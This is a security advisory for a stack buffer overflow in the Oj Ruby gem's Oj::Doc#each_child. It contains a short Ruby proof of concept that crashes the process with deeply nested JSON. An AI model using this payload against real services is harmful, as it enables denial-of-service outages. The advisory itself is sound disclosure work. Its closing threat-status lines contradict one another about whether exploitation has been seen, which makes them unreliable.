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GHSA-3m6q-jj5j-38c9
No affected components available
Summary
Oj::Doc#each_child, when invoked recursively over a deeply nested JSON
document, overflows a fixed-size stack buffer and aborts the process. This is a
denial of service reachable from untrusted JSON.
Details
Two-step chain in ext/oj/fast.c:
-
doc_each_child(~line 1501) incrementsdoc->wherepast thewhere_path[MAX_STACK = 100]array with no bounds check, and never restores it (doc->where--is missing). Callingeach_childrecursively from inside the yield block therefore drivesdoc->wherebeyond the array. -
On the next entry (~line 1478) the function copies the path into a stack-local buffer:
Leaf save_path[MAX_STACK]; // 800-byte stack buffer size_t wlen = doc->where - doc->where_path; if (0 < wlen) { memcpy(save_path, doc->where_path, sizeof(Leaf) * (wlen + 1)); }When the previous recursive call left
doc->wherepastwhere_path[100],wlenexceedsMAX_STACKand thememcpyoverflowssave_pathon the C stack.
The Oj::Doc parser imposes no JSON nesting-depth limit (it relies on a
C-stack pressure check), so deeply nested attacker input reaches this path.
Proof of Concept
require 'oj'
depth = 200
payload = '[' * depth + '1' + ']' * depth
Oj::Doc.open(payload) do |doc|
r = lambda { doc.each_child { |_| r.call } }
r.call
end
Recursion depth <= 99 iterates normally; depth >= 101 aborts. lldb backtrace
on the affected build (ruby 3.3.8 / arm64-darwin24):
SIGABRT
#2 __abort
#3 __stack_chk_fail
#4 doc_each_child (oj.bundle, fast.c)
Impact
Reliable denial of service: any endpoint that calls
Oj::Doc.open(untrusted) { |d| d.each_child ... } recursively can be crashed
with a small deeply-nested payload. On builds with a stack protector (the
default, -fstack-protector-strong) the canary aborts the process before the
saved return address is used. The Step-1 heap OOB writes into struct _doc
fields do occur, but are masked in practice because the Step-2 stack overflow
crashes first; turning them into anything beyond a crash has not been
demonstrated.
Patches
Fixed in 3.17.3: doc_each_child now bounds-checks before incrementing
doc->where (raising Oj::DepthError) and restores doc->where after the
loop, matching the existing each_leaf pattern. Verified on the fixed build:
depth >= 101 raises a clean Oj::DepthError instead of aborting.
Credit
Reported by Zac Wang (@7a6163).
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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